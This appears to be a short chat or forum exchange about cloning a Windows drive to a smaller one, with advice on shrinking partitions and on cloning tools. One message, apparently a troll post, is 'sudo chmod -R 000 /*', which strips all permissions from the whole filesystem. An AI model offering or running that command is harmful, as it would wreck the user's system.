You can't clone a drive to a smaller one. You need to resize the partition, assuming it's still possible (windows has the bad habit of scattering stuff all over the drive).

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

Depends on the software used, IDK if samsung's tool allows it, but at least Miray HD Clone can (as long as the total partitions used space is smaller) though it isn't freeware

It probably shrinks the partition before cloning it, which is only possible if Windows hasn't scattered page files all over it.
